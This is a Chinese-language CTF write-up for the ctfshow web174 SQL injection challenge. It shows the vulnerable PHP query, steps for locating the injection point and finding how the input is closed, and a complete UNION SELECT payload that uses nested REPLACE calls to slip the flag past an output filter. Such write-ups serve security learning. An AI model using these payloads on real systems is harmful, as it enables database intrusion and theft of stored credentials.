ctfshow web174
- 题号:web174
- 难度:⭐
- 考点:如 SQL 注入(无回显)
- 日期:2026-8-27
题目描述

解题思路
核心思路:发现注入点、识别盲注条件成功与否返回值、构造条件语句、构造截取字符串。 打开题目发现:
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";
1、抓包,确认注入点在哪里。
/api/v4.php?id=1
2、输入1、1’、1"确认是字符型还是数值型。同时确认闭合形式。
其他题目必要时输入1’") 。
对于数值型,输入1’和1"返回值都一样。对于字符型,输入1和1’是不一样的返回结果。 输入1'返回结果空,说明程序运行异常。构造1' and 1=1 -- +
Payload / 关键操作
? id=0' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(password,'g','9'),'0','h'),'1','i'),'2','j'),'3','k'),'4','l'),'5','m'),'6','n'),'7','o'),'8','p'),'9','q') from ctfshow_user4 where username='flag'%23
复现截图

对应小迪课程章节
SQL注入
踩坑记录 / 复盘
1.使用union select的时候面对数值可以直接写,比如union select 1,2;但如果是字符就必须加引号,不然数据库会以为你是要查询对应的列名:union select ‘a’,‘b’